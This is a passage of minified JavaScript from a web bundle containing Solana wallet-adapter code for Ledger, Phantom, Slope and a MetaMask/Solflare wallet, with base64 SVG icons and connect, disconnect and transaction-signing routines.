4:return[2]}})})}},e.ErrorMessage_ListenTimeout="No Ledger device found (timeout)",e.ErrorMessage_NoDeviceFound="No Ledger device found",e}();const Xye=Dye;function Qye(e,t){const n=e!==void 0?t===void 0?3:4:2,r=sn.alloc(1+n*4);let o=r.writeUInt8(n,0);return o=r.writeUInt32BE(eh(44),o),o=r.writeUInt32BE(eh(501),o),e!==void 0&&(o=r.writeUInt32BE(eh(e),o),t!==void 0&&r.writeUInt32BE(eh(t),o)),r}const _ye=1<<31>>>0;function eh(e){return(e|_ye)>>>0}const $ye=5,ebe=6,tbe=0,nbe=1,rbe=1,obe=2,th=255,V7=224;async function ibe(e,t){const n=await oO(e,$ye,tbe,t);return new ht(n)}async function sbe(e,t,n){const r=sn.alloc(1);r.writeUInt8(1,0);const o=Id(t)?t.message.serialize():t.serializeMessage(),i=sn.concat([r,n,o]);return await oO(e,ebe,nbe,i)}async function oO(e,t,n,r){let o=0,i=0;if(r.length>th)for(;r.length-i>th;){const l=r.slice(i,i+th);if((await e.send(V7,t,n,o|obe,l)).length!==2)throw new Dl(yl.INCORRECT_DATA);o|=rbe,i+=th}const s=r.slice(i),a=await e.send(V7,t,n,o,s);return a.slice(0,a.length-2)}const abe="Ledger";class lbe extends VA{constructor(t={}){super(),this.name=abe,this.url="https://ledger.com",this.icon="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMzUgMzUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PGcgZmlsbD0iI2ZmZiI+PHBhdGggZD0ibTIzLjU4OCAwaC0xNnYyMS41ODNoMjEuNnYtMTZhNS41ODUgNS41ODUgMCAwIDAgLTUuNi01LjU4M3oiIHRyYW5zZm9ybT0idHJhbnNsYXRlKDUuNzM5KSIvPjxwYXRoIGQ9Im04LjM0MiAwaC0yLjc1N2E1LjU4NSA1LjU4NSAwIDAgMCAtNS41ODUgNS41ODV2Mi43NTdoOC4zNDJ6Ii8+PHBhdGggZD0ibTAgNy41OWg4LjM0MnY4LjM0MmgtOC4zNDJ6IiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgwIDUuNzM5KSIvPjxwYXRoIGQ9Im0xNS4xOCAyMy40NTFoMi43NTdhNS41ODUgNS41ODUgMCAwIDAgNS41ODUtNS42di0yLjY3MWgtOC4zNDJ6IiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgxMS40NzggMTEuNDc4KSIvPjxwYXRoIGQ9Im03LjU5IDE1LjE4aDguMzQydjguMzQyaC04LjM0MnoiIHRyYW5zZm9ybT0idHJhbnNsYXRlKDUuNzM5IDExLjQ3OCkiLz48cGF0aCBkPSJtMCAxNS4xOHYyLjc1N2E1LjU4NSA1LjU4NSAwIDAgMCA1LjU4NSA1LjU4NWgyLjc1N3YtOC4zNDJ6IiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgwIDExLjQ3OCkiLz48L2c+PC9zdmc+",this.supportedTransactionVersions=new Set(["legacy",0]),this._readyState=typeof window>"u"||typeof document>"u"||typeof navigator>"u"||!navigator.hid?Wt.Unsupported:Wt.Loadable,this._disconnected=()=>{const n=this._transport;n&&(n.off("disconnect",this._disconnected),this._transport=null,this._publicKey=null,this.emit("error",new dc),this.emit("disconnect"))},this._derivationPath=t.derivationPath||Qye(0,0),this._connecting=!1,this._transport=null,this._publicKey=null}get publicKey(){return this._publicKey}get connecting(){return this._connecting}get readyState(){return this._readyState}async connect(){try{if(this.connected||this.connecting)return;if(this._readyState!==Wt.Loadable)throw new Ti;this._connecting=!0;let t;try{t=(await PI(()=>Promise.resolve().then(()=>Yqe),void 0,import.meta.url)).default}catch(o){throw new BA(o==null?void 0:o.message,o)}let n;try{n=await t.create()}catch(o){throw new gs(o==null?void 0:o.message,o)}let r;try{r=await ibe(n,this._derivationPath)}catch(o){throw new Ni(o==null?void 0:o.message,o)}n.on("disconnect",this._disconnected),this._transport=n,this._publicKey=r,this.emit("connect",r)}catch(t){throw this.emit("error",t),t}finally{this._connecting=!1}}async disconnect(){const t=this._transport;if(t){t.off("disconnect",this._disconnected),this._transport=null,this._publicKey=null;try{await t.close()}catch(n){this.emit("error",new Il(n==null?void 0:n.message,n))}}this.emit("disconnect")}async signTransaction(t){try{const n=this._transport,r=this._publicKey;if(!n||!r)throw new In;try{const o=await sbe(n,t,this._derivationPath);t.addSignature(r,o)}catch(o){throw new cr(o==null?void 0:o.message,o)}return t}catch(n){throw this.emit("error",n),n}}}const ube="Phantom";class cbe extends Xd{constructor(t={}){super(),this.name=ube,this.url="https://phantom.app",this.icon="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMDgiIGhlaWdodD0iMTA4IiB2aWV3Qm94PSIwIDAgMTA4IDEwOCIgZmlsbD0ibm9uZSI+CjxyZWN0IHdpZHRoPSIxMDgiIGhlaWdodD0iMTA4IiByeD0iMjYiIGZpbGw9IiNBQjlGRjIiLz4KPHBhdGggZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGQ9Ik00Ni41MjY3IDY5LjkyMjlDNDIuMDA1NCA3Ni44NTA5IDM0LjQyOTIgODUuNjE4MiAyNC4zNDggODUuNjE4MkMxOS41ODI0IDg1LjYxODIgMTUgODMuNjU2MyAxNSA3NS4xMzQyQzE1IDUzLjQzMDUgNDQuNjMyNiAxOS44MzI3IDcyLjEyNjggMTkuODMyN0M4Ny43NjggMTkuODMyNyA5NCAzMC42ODQ2IDk0IDQzLjAwNzlDOTQgNTguODI1OCA4My43MzU1IDc2LjkxMjIgNzMuNTMyMSA3Ni45MTIyQzcwLjI5MzkgNzYuOTEyMiA2OC43MDUzIDc1LjEzNDIgNjguNzA1MyA3Mi4zMTRDNjguNzA1MyA3MS41NzgzIDY4LjgyNzUgNzAuNzgxMiA2OS4wNzE5IDY5LjkyMjlDNjUuNTg5MyA3NS44Njk5IDU4Ljg2ODUgODEuMzg3OCA1Mi41NzU0IDgxLjM4NzhDNDcuOTkzIDgxLjM4NzggNDUuNjcxMyA3OC41MDYzIDQ1LjY3MTMgNzQuNDU5OEM0NS42NzEzIDcyLjk4ODQgNDUuOTc2OCA3MS40NTU2IDQ2LjUyNjcgNjkuOTIyOVpNODMuNjc2MSA0Mi41Nzk0QzgzLjY3NjEgNDYuMTcwNCA4MS41NTc1IDQ3Ljk2NTggNzkuMTg3NSA0Ny45NjU4Qzc2Ljc4MTYgNDcuOTY1OCA3NC42OTg5IDQ2LjE3MDQgNzQuNjk4OSA0Mi41Nzk0Qzc0LjY5ODkgMzguOTg4NSA3Ni43ODE2IDM3LjE5MzEgNzkuMTg3NSAzNy4xOTMxQzgxLjU1NzUgMzcuMTkzMSA4My42NzYxIDM4Ljk4ODUgODMuNjc2MSA0Mi41Nzk0Wk03MC4yMTAzIDQyLjU3OTVDNzAuMjEwMyA0Ni4xNzA0IDY4LjA5MTYgNDcuOTY1OCA2NS43MjE2IDQ3Ljk2NThDNjMuMzE1NyA0Ny45NjU4IDYxLjIzMyA0Ni4xNzA0IDYxLjIzMyA0Mi41Nzk1QzYxLjIzMyAzOC45ODg1IDYzLjMxNTcgMzcuMTkzMSA2NS43MjE2IDM3LjE5MzFDNjguMDkxNiAzNy4xOTMxIDcwLjIxMDMgMzguOTg4NSA3MC4yMTAzIDQyLjU3OTVaIiBmaWxsPSIjRkZGREY4Ii8+Cjwvc3ZnPg==",this.supportedTransactionVersions=new Set(["legacy",0]),this._readyState=typeof window>"u"||typeof document>"u"?Wt.Unsupported:Wt.NotDetected,this._disconnected=()=>{const n=this._wallet;n&&(n.off("disconnect",this._disconnected),n.off("accountChanged",this._accountChanged),this._wallet=null,this._publicKey=null,this.emit("error",new dc),this.emit("disconnect"))},this._accountChanged=n=>{const r=this._publicKey;if(r){try{n=new ht(n.toBytes())}catch(o){this.emit("error",new Ni(o==null?void 0:o.message,o));return}r.equals(n)||(this._publicKey=n,this.emit("connect",n))}},this._connecting=!1,this._wallet=null,this._publicKey=null,this._readyState!==Wt.Unsupported&&(ng()?(this._readyState=Wt.Loadable,this.emit("readyStateChange",this._readyState)):am(()=>{var n,r,o;return(r=(n=window.phantom)==null?void 0:n.solana)!=null&&r.isPhantom||(o=window.solana)!=null&&o.isPhantom?(this._readyState=Wt.Installed,this.emit("readyStateChange",this._readyState),!0):!1}))}get publicKey(){return this._publicKey}get connecting(){return this._connecting}get readyState(){return this._readyState}async autoConnect(){this.readyState===Wt.Installed&&await this.connect()}async connect(){var t;try{if(this.connected||this.connecting)return;if(this.readyState===Wt.Loadable){const o=encodeURIComponent(window.location.href),i=encodeURIComponent(window.location.origin);window.location.href=`https://phantom.app/ul/browse/${o}?ref=${i}`;return}if(this.readyState!==Wt.Installed)throw new Ti;this._connecting=!0;const n=((t=window.phantom)==null?void 0:t.solana)||window.solana;if(!n.isConnected)try{await n.connect()}catch(o){throw new gs(o==null?void 0:o.message,o)}if(!n.publicKey)throw new dl;let r;try{r=new ht(n.publicKey.toBytes())}catch(o){throw new Ni(o==null?void 0:o.message,o)}n.on("disconnect",this._disconnected),n.on("accountChanged",this._accountChanged),this._wallet=n,this._publicKey=r,this.emit("connect",r)}catch(n){throw this.emit("error",n),n}finally{this._connecting=!1}}async disconnect(){const t=this._wallet;if(t){t.off("disconnect",this._disconnected),t.off("accountChanged",this._accountChanged),this._wallet=null,this._publicKey=null;try{await t.disconnect()}catch(n){this.emit("error",new Il(n==null?void 0:n.message,n))}}this.emit("disconnect")}async sendTransaction(t,n,r={}){try{const o=this._wallet;if(!o)throw new In;try{const{signers:i,...s}=r;Id(t)?i!=null&&i.length&&t.sign(i):(t=await this.prepareTransaction(t,n,s),i!=null&&i.length&&t.partialSign(...i)),s.preflightCommitment=s.preflightCommitment||n.commitment;const{signature:a}=await o.signAndSendTransaction(t,s);return a}catch(i){throw i instanceof ar?i:new zi(i==null?void 0:i.message,i)}}catch(o){throw this.emit("error",o),o}}async signTransaction(t){try{const n=this._wallet;if(!n)throw new In;try{return await n.signTransaction(t)||t}catch(r){throw new cr(r==null?void 0:r.message,r)}}catch(n){throw this.emit("error",n),n}}async signAllTransactions(t){try{const n=this._wallet;if(!n)throw new In;try{return await n.signAllTransactions(t)||t}catch(r){throw new cr(r==null?void 0:r.message,r)}}catch(n){throw this.emit("error",n),n}}async signMessage(t){try{const n=this._wallet;if(!n)throw new In;try{const{signature:r}=await n.signMessage(t);return r}catch(r){throw new ql(r==null?void 0:r.message,r)}}catch(n){throw this.emit("error",n),n}}}const dbe="Slope";class fbe extends Xd{constructor(t={}){super(),this.name=dbe,this.url="https://slope.finance",this.icon="data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTI4IiBoZWlnaHQ9IjEyOCIgdmlld0JveD0iMCAwIDEyOCAxMjgiIGZpbGw9Im5vbmUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+CjxyZWN0IHdpZHRoPSIxMjgiIGhlaWdodD0iMTI4IiByeD0iNjQiIGZpbGw9IiM2RTY2RkEiLz4KPHBhdGggZD0iTTI3Ljk0NzUgNTIuMTU5Nkw1MS45ODI2IDI4LjA1NzJMNzIuNjA5OCA3LjY1Mzg5QzczLjg3MzQgNi40MDQwMSA3Ni4wMTc4IDcuMjk5MSA3Ni4wMTc4IDkuMDc2NDJMNzYuMDE4NyA1Mi4xNTlMNTEuOTgzNiA3Ni4xMjY4TDI3Ljk0NzUgNTIuMTU5NloiIGZpbGw9InVybCgjcGFpbnQwX2xpbmVhcl8zNzk1XzI1NTQzKSIvPgo8cGF0aCBkPSJNMTAwLjA1MyA3NS45OTNMNzYuMDE4IDUxLjk1OEw1MS45ODI5IDc1Ljk5MzFMNTEuOTgyOSAxMTguOTI0QzUxLjk4MjkgMTIwLjcwMyA1NC4xMzEyIDEyMS41OTcgNTUuMzkzNyAxMjAuMzQzTDEwMC4wNTMgNzUuOTkzWiIgZmlsbD0idXJsKCNwYWludDFfbGluZWFyXzM3OTVfMjU1NDMpIi8+CjxwYXRoIGQ9Ik0yNy45NDcgNTIuMTYwMUg0NC42ODM5QzQ4LjcxNDcgNTIuMTYwMSA1MS45ODIyIDU1LjQyNzYgNTEuOTgyMiA1OS40NTgzVjc2LjEyNjlIMzUuMjQ1M0MzMS4yMTQ2IDc2LjEyNjkgMjcuOTQ3IDcyLjg1OTQgMjcuOTQ3IDY4LjgyODdWNTIuMTYwMVoiIGZpbGw9IiNGMUYwRkYiLz4KPHBhdGggZD0iTTc2LjAxNzggNTIuMTYwMUg5Mi43NTQ3Qzk2Ljc4NTUgNTIuMTYwMSAxMDAuMDUzIDU1LjQyNzYgMTAwLjA1MyA1OS40NTgzVjc2LjEyNjlIODMuMzE2MUM3OS4yODU0IDc2LjEyNjkgNzYuMDE3OCA3Mi44NTk0IDc2LjAxNzggNjguODI4N1Y1Mi4xNjAxWiIgZmlsbD0iI0YxRjBGRiIvPgo8ZGVmcz4KPGxpbmVhckdyYWRpZW50IGlkPSJwYWludDBfbGluZWFyXzM3OTVfMjU1NDMiIHgxPSI1MS45ODMxIiB5MT0iNy4wNzE1NSIgeDI9IjUxLjk4MzEiIHkyPSI3Ni4xMjY4IiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSI+CjxzdG9wIHN0b3AtY29sb3I9IiNBOEFERkYiLz4KPHN0b3Agb2Zmc2V0PSIwLjY0ODU1NiIgc3RvcC1jb2xvcj0id2hpdGUiLz4KPC9saW5lYXJHcmFkaWVudD4KPGxpbmVhckdyYWRpZW50IGlkPSJwYWludDFfbGluZWFyXzM3OTVfMjU1NDMiIHgxPSI3Ni4wMTgiIHkxPSI1MS45NTgiIHgyPSI3Ni4wMTgiIHkyPSIxMjAuOTI4IiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSI+CjxzdG9wIG9mZnNldD0iMC4yNjA3ODQiIHN0b3AtY29sb3I9IiNCNkJBRkYiLz4KPHN0b3Agb2Zmc2V0PSIxIiBzdG9wLWNvbG9yPSIjRTRFMkZGIi8+CjwvbGluZWFyR3JhZGllbnQ+CjwvZGVmcz4KPC9zdmc+Cg==",this.supportedTransactionVersions=null,this._readyState=typeof window>"u"||typeof document>"u"?Wt.Unsupported:Wt.NotDetected,this._connecting=!1,this._wallet=null,this._publicKey=null,this._readyState!==Wt.Unsupported&&am(()=>typeof window.Slope=="function"||window.slopeApp?(this._readyState=Wt.Installed,this.emit("readyStateChange",this._readyState),!0):!1)}get publicKey(){return this._publicKey}get connecting(){return this._connecting}get readyState(){return this._readyState}async connect(){try{if(this.connected||this.connecting)return;if(this._readyState!==Wt.Installed||typeof window.Slope!="function")throw new Ti;this._connecting=!0;const t=new window.Slope;let n;try{({data:n}=await t.connect())}catch(o){throw new gs(o==null?void 0:o.message,o)}if(!n.publicKey)throw new dl;let r;try{r=new ht(n.publicKey)}catch(o){throw new Ni(o==null?void 0:o.message,o)}this._wallet=t,this._publicKey=r,this.emit("connect",r)}catch(t){throw this.emit("error",t),t}finally{this._connecting=!1}}async disconnect(){const t=this._wallet;if(t){this._wallet=null,this._publicKey=null;try{let n;try{({msg:n}=await t.disconnect())}catch(r){throw new Il(r==null?void 0:r.message,r)}if(n!=="ok")throw new Il(n)}catch(n){this.emit("error",n)}}this.emit("disconnect")}async signTransaction(t){try{const n=this._wallet;if(!n)throw new In;try{const r=Qn.encode(t.serializeMessage()),{msg:o,data:i}=await n.signTransaction(r);if(!i.publicKey||!i.signature)throw new cr(o);const s=new ht(i.publicKey),a=Qn.decode(i.signature);return t.addSignature(s,a),t}catch(r){throw r instanceof ar?r:new cr(r==null?void 0:r.message,r)}}catch(n){throw this.emit("error",n),n}}async signAllTransactions(t){var n;try{const r=this._wallet;if(!r)throw new In;try{const o=t.map(u=>Qn.encode(u.serializeMessage())),{msg:i,data:s}=await r.signAllTransactions(o),a=t.length;if(!s.publicKey||((n=s.signatures)==null?void 0:n.length)!==a)throw new cr(i);const l=new ht(s.publicKey);for(let u=0;u<a;u++)t[u].addSignature(l,Qn.decode(s.signatures[u]));return t}catch(o){throw o instanceof ar?o:new cr(o==null?void 0:o.message,o)}}catch(r){throw this.emit("error",r),r}}async signMessage(t){try{const n=this._wallet;if(!n)throw new In;try{const r=await n.signMessage(t);return Qn.decode(r.data.signature)}catch(r){throw new ql(r==null?void 0:r.message,r)}}catch(n){throw this.emit("error",n),n}}}var hbe=function(e,t,n,r,o){if(r==="m")throw new TypeError("Private method is not writable");if(r==="a"&&!o)throw new TypeError("Private accessor was defined without a setter");if(typeof t=="function"?e!==t||!o:!t.has(e))throw new TypeError("Cannot write private member to an object whose class did not declare it");return r==="a"?o.call(e,n):o?o.value=n:t.set(e,n),n},pbe=function(e,t,n,r){if(n==="a"&&!r)throw new TypeError("Private accessor was defined without a getter");if(typeof t=="function"?e!==t||!r:!t.has(e))throw new TypeError("Cannot read private member from an object whose class did not declare it");return n==="m"?r:n==="a"?r.call(e):r?r.value:t.get(e)},Dh;function mbe(e){const t=({register:n})=>n(e);try{window.dispatchEvent(new vbe(t))}catch(n){console.error(`wallet-standard:register-wallet event could not be dispatched
`,n)}try{window.addEventListener("wallet-standard:app-ready",({detail:n})=>t(n))}catch(n){console.error(`wallet-standard:app-ready event listener could not be added
`,n)}}class vbe extends Event{constructor(t){super("wallet-standard:register-wallet",{bubbles:!1,cancelable:!1,composed:!1}),Dh.set(this,void 0),hbe(this,Dh,t,"f")}get detail(){return pbe(this,Dh,"f")}get type(){return"wallet-standard:register-wallet"}preventDefault(){throw new Error("preventDefault cannot be called")}stopImmediatePropagation(){throw new Error("stopImmediatePropagation cannot be called")}stopPropagation(){throw new Error("stopPropagation cannot be called")}}Dh=new WeakMap;const gbe="solana:mainnet",ybe="solana:devnet",bbe="solana:testnet",Ibe="data:image/svg+xml;base64,PHN2ZyBmaWxsPSJub25lIiBoZWlnaHQ9IjMxIiB2aWV3Qm94PSIwIDAgMzEgMzEiIHdpZHRoPSIzMSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayI+PGxpbmVhckdyYWRpZW50IGlkPSJhIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgeDE9IjIwLjI1IiB4Mj0iMjYuNTcxIiB5MT0iMjcuMTczIiB5Mj0iMTkuODU4Ij48c3RvcCBvZmZzZXQ9Ii4wOCIgc3RvcC1jb2xvcj0iIzk5NDVmZiIvPjxzdG9wIG9mZnNldD0iLjMiIHN0b3AtY29sb3I9IiM4NzUyZjMiLz48c3RvcCBvZmZzZXQ9Ii41IiBzdG9wLWNvbG9yPSIjNTQ5N2Q1Ii8+PHN0b3Agb2Zmc2V0PSIuNiIgc3RvcC1jb2xvcj0iIzQzYjRjYSIvPjxzdG9wIG9mZnNldD0iLjcyIiBzdG9wLWNvbG9yPSIjMjhlMGI5Ii8+PHN0b3Agb2Zmc2V0PSIuOTciIHN0b3AtY29sb3I9IiMxOWZiOWIiLz48L2xpbmVhckdyYWRpZW50PjxnIHN0cm9rZS1saW5lam9pbj0icm91bmQiIHN0cm9rZS13aWR0aD0iLjA5NCI+PHBhdGggZD0ibTI2LjEwOSAzLjY0My05LjM2OSA2Ljk1OSAxLjczMy00LjEwNSA3LjYzNy0yLjg1M3oiIGZpbGw9IiNlMjc2MWIiIHN0cm9rZT0iI2UyNzYxYiIvPjxnIGZpbGw9IiNlNDc2MWIiIHN0cm9rZT0iI2U0NzYxYiI+PHBhdGggZD0ibTQuNDgxIDMuNjQzIDkuMjk0IDcuMDI0LTEuNjQ4LTQuMTcxem0xOC4yNTggMTYuMTMtMi40OTUgMy44MjMgNS4zMzkgMS40NjkgMS41MzUtNS4yMDctNC4zNzgtLjA4NXptLTE5LjI0Ny4wODUgMS41MjUgNS4yMDcgNS4zMzktMS40NjktMi40OTUtMy44MjN6Ii8+PHBhdGggZD0ibTEwLjA1NSAxMy4zMTMtMS40ODggMi4yNTEgNS4zMDEuMjM1LS4xODgtNS42OTd6bTEwLjQ4IDAtMy42NzItMy4yNzctLjEyMiA1Ljc2MyA1LjI5Mi0uMjM1LTEuNDk3LTIuMjUxem0tMTAuMTc4IDEwLjI4MyAzLjE4My0xLjU1NC0yLjc0OS0yLjE0Ny0uNDMzIDMuNzAxem02LjY5NS0xLjU1NCAzLjE5MiAxLjU1NC0uNDQzLTMuNzAxeiIvPjwvZz48cGF0aCBkPSJtMjAuMjQ0IDIzLjU5Ni0zLjE5Mi0xLjU1NC4yNTQgMi4wODEtLjAyOC44NzZ6bS05Ljg4NyAwIDIuOTY2IDEuNDAzLS4wMTktLjg3Ni4yMzUtMi4wODEtMy4xODMgMS41NTR6IiBmaWxsPSIjZDdjMWIzIiBzdHJva2U9IiNkN2MxYjMiLz48cGF0aCBkPSJtMTMuMzY5IDE4LjUyMS0yLjY1NS0uNzgxIDEuODc0LS44NTd6bTMuODUxIDAgLjc4MS0xLjYzOCAxLjg4My44NTctMi42NjUuNzgxeiIgZmlsbD0iIzIzMzQ0NyIgc3Ryb2tlPSIjMjMzNDQ3Ii8+PHBhdGggZD0ibTEwLjM1NyAyMy41OTYuNDUyLTMuODIzLTIuOTQ3LjA4NXptOS40MzUtMy44MjMuNDUyIDMuODIzIDIuNDk1LTMuNzM4em0yLjI0MS00LjIwOS01LjI5Mi4yMzUuNDkgMi43MjEuNzgyLTEuNjM4IDEuODgzLjg1N3ptLTExLjMxOCAyLjE3NSAxLjg4My0uODU3Ljc3MiAxLjYzOC40OTktMi43MjEtNS4zMDEtLjIzNXoiIGZpbGw9IiNjZDYxMTYiIHN0cm9rZT0iI2NkNjExNiIvPjxwYXRoIGQ9Im04LjU2NyAxNS41NjQgMi4yMjIgNC4zMzEtLjA3NS0yLjE1NnptMTEuMzI4IDIuMTc1LS4wOTQgMi4xNTYgMi4yMzItNC4zMzEtMi4xMzcgMi4xNzV6bS02LjAyNi0xLjk0LS40OTkgMi43MjEuNjIxIDMuMjExLjE0MS00LjIyOC0uMjY0LTEuNzA0em0yLjg3MiAwLS4yNTQgMS42OTUuMTEzIDQuMjM3LjYzMS0zLjIxMXoiIGZpbGw9IiNlNDc1MWYiIHN0cm9rZT0iI2U0NzUxZiIvPjxwYXRoIGQ9Im0xNy4yMyAxOC41Mi0uNjMxIDMuMjExLjQ1Mi4zMTEgMi43NS0yLjE0Ny4wOTQtMi4xNTZ6bS02LjUxNi0uNzgxLjA3NSAyLjE1NiAyLjc1IDIuMTQ3LjQ1Mi0uMzExLS42MjItMy4yMTF6IiBmaWxsPSIjZjY4NTFiIiBzdHJva2U9IiNmNjg1MWIiLz48cGF0aCBkPSJtMTcuMjc3IDI0Ljk5OS4wMjgtLjg3Ni0uMjM1LS4yMDdoLTMuNTVsLS4yMTcuMjA3LjAxOS44NzYtMi45NjYtMS40MDMgMS4wMzYuODQ4IDIuMSAxLjQ1OWgzLjYwNmwyLjEwOS0xLjQ1OSAxLjAzNi0uODQ4eiIgZmlsbD0iI2MwYWQ5ZSIgc3Ryb2tlPSIjYzBhZDllIi8+PHBhdGggZD0ibTE3LjA1MSAyMi4wNDItLjQ1Mi0uMzExaC0yLjYwOGwtLjQ1Mi4zMTEtLjIzNSAyLjA4MS4yMTctLjIwN2gzLjU1bC4yMzUuMjA3LS4yNTQtMi4wODF6IiBmaWxsPSIjMTYxNjE2IiBzdHJva2U9IiMxNjE2MTYiLz48cGF0aCBkPSJtMjYuNTA1IDExLjA1My44LTMuODQyLTEuMTk2LTMuNTY5LTkuMDU4IDYuNzIzIDMuNDg0IDIuOTQ3IDQuOTI1IDEuNDQxIDEuMDkyLTEuMjcxLS40NzEtLjMzOS43NTMtLjY4Ny0uNTg0LS40NTIuNzUzLS41NzQtLjQ5OS0uMzc3em0tMjMuMjExLTMuODQxLjggMy44NDItLjUwOC4zNzcuNzUzLjU3NC0uNTc0LjQ1Mi43NTMuNjg3LS40NzEuMzM5IDEuMDgzIDEuMjcxIDQuOTI1LTEuNDQxIDMuNDg0LTIuOTQ3LTkuMDU5LTYuNzIzeiIgZmlsbD0iIzc2M2QxNiIgc3Ryb2tlPSIjNzYzZDE2Ii8+PHBhdGggZD0ibTI1LjQ2IDE0Ljc1NC00LjkyNS0xLjQ0MSAxLjQ5NyAyLjI1MS0yLjIzMiA0LjMzMSAyLjkzOC0uMDM4aDQuMzc4bC0xLjY1Ny01LjEwNHptLTE1LjQwNS0xLjQ0MS00LjkyNSAxLjQ0MS0xLjYzOCA1LjEwNGg0LjM2OWwyLjkyOC4wMzgtMi4yMjItNC4zMzEgMS40ODgtMi4yNTF6bTYuNjg1IDIuNDg2LjMxMS01LjQzMyAxLjQzMS0zLjg3aC02LjM1NmwxLjQxMyAzLjg3LjMyOSA1LjQzMy4xMTMgMS43MTQuMDA5IDQuMjE5aDIuNjFsLjAxOS00LjIxOS4xMjItMS43MTR6IiBmaWxsPSIjZjY4NTFiIiBzdHJva2U9IiNmNjg1MWIiLz48L2c+PGNpcmNsZSBjeD0iMjMuNSIgY3k9IjIzLjUiIGZpbGw9IiMwMDAiIHI9IjYuNSIvPjxwYXRoIGQ9Im0yNy40NzMgMjUuNTQ1LTEuMzEgMS4zNjhjLS4wMjkuMDMtLjA2My4wNTMtLjEwMS4wN2EuMzEuMzEgMCAwIDEgLS4xMjEuMDI0aC02LjIwOWMtLjAzIDAtLjA1OS0uMDA4LS4wODMtLjAyNGEuMTUuMTUgMCAwIDEgLS4wNTYtLjA2NWMtLjAxMi0uMDI2LS4wMTUtLjA1Ni0uMDEtLjA4NHMuMDE4LS4wNTUuMDM5LS4wNzZsMS4zMTEtMS4zNjhjLjAyOC0uMDMuMDYzLS4wNTMuMTAxLS4wNjlhLjMxLjMxIDAgMCAxIC4xMjEtLjAyNWg2LjIwOGMuMDMgMCAuMDU5LjAwOC4wODMuMDI0YS4xNS4xNSAwIDAgMSAuMDU2LjA2NWMuMDEyLjAyNi4wMTUuMDU2LjAxLjA4NHMtLjAxOC4wNTUtLjAzOS4wNzZ6bS0xLjMxLTIuNzU2Yy0uMDI5LS4wMy0uMDYzLS4wNTMtLjEwMS0uMDdhLjMxLjMxIDAgMCAwIC0uMTIxLS4wMjRoLTYuMjA5Yy0uMDMgMC0uMDU5LjAwOC0uMDgzLjAyNHMtLjA0NC4wMzgtLjA1Ni4wNjUtLjAxNS4wNTYtLjAxLjA4NC4wMTguMDU1LjAzOS4wNzZsMS4zMTEgMS4zNjhjLjAyOC4wMy4wNjMuMDUzLjEwMS4wNjlhLjMxLjMxIDAgMCAwIC4xMjEuMDI1aDYuMjA4Yy4wMyAwIC4wNTktLjAwOC4wODMtLjAyNGEuMTUuMTUgMCAwIDAgLjA1Ni0uMDY1Yy4wMTItLjAyNi4wMTUtLjA1Ni4wMS0uMDg0cy0uMDE4LS4wNTUtLjAzOS0uMDc2em0tNi40MzEtLjk4M2g2LjIwOWEuMzEuMzEgMCAwIDAgLjEyMS0uMDI0Yy4wMzgtLjAxNi4wNzMtLjA0LjEwMS0uMDdsMS4zMS0xLjM2OGMuMDItLjAyMS4wMzQtLjA0Ny4wMzktLjA3NnMuMDAxLS4wNTgtLjAxLS4wODRhLjE1LjE1IDAgMCAwIC0uMDU2LS4wNjVjLS4wMjUtLjAxNi0uMDU0LS4wMjQtLjA4My0uMDI0aC02LjIwOGEuMzEuMzEgMCAwIDAgLS4xMjEuMDI1Yy0uMDM4LjAxNi0uMDcyLjA0LS4xMDEuMDY5bC0xLjMxIDEuMzY4Yy0uMDIuMDIxLS4wMzQuMDQ3LS4wMzkuMDc2cy0uMDAxLjA1OC4wMS4wODQuMDMxLjA0OS4wNTYuMDY1LjA1NC4wMjQuMDgzLjAyNHoiIGZpbGw9InVybCgjYSkiLz48L3N2Zz4=";var wn=function(e,t,n,r){if(n==="a"&&!r)throw new TypeError("Private accessor was defined without a getter");if(typeof t=="function"?e!==t||!r:!t.has(e))throw new TypeError("Cannot read private member from an object whose class did not declare it");return n==="m"?r:n==="a"?r.call(e):r?r.value:t.get(e)},qbe=function(e,t,n,r,o){if(r==="m")throw new TypeError("Private method is not writable");if(r==="a"&&!o)throw new TypeError("Private accessor was defined without a setter");if(typeof t=="function"?e!==t||!o:!t.has(e))throw new TypeError("Cannot write private member to an object whose class did not declare it");return r==="a"?o.call(e,n):o?o.value=n:t.set(e,n),n},Xh,al,Yy,By,Jy,Tr,Vy,iO,sO,Uy,Fy,Hy,Py,Dy;class wbe{constructor(){Xh.add(this),al.set(this,{}),Yy.set(this,"1.0.0"),By.set(this,"MetaMask"),Jy.set(this,Ibe),Tr.set(this,null),Vy.set(this,(t,n)=>{var r;return(r=wn(this,al,"f")[t])!=null&&r.push(n)||(wn(this,al,"f")[t]=[n]),()=>wn(this,Xh,"m",sO).call(this,t,n)}),Uy.set(this,async()=>{if(!wn(this,Tr,"f")){let t;try{t=(await PI(()=>Promise.resolve().then(()=>awe),void 0,import.meta.url)).default}catch{throw new Error("Unable to load Solflare MetaMask SDK")}qbe(this,Tr,new t,"f"),wn(this,Tr,"f").on("standard_change",n=>wn(this,Xh,"m",iO).call(this,"change",n))}return this.accounts.length||await wn(this,Tr,"f").connect(),{accounts:this.accounts}}),Fy.set(this,async()=>{wn(this,Tr,"f")&&await wn(this,Tr,"f").disconnect()}),Hy.set(this,async(...t)=>{if(!wn(this,Tr,"f"))throw new In;return await wn(this,Tr,"f").standardSignAndSendTransaction(...t)}),Py.set(this,async(...t)=>{if(!wn(this,Tr,"f"))throw new In;return await 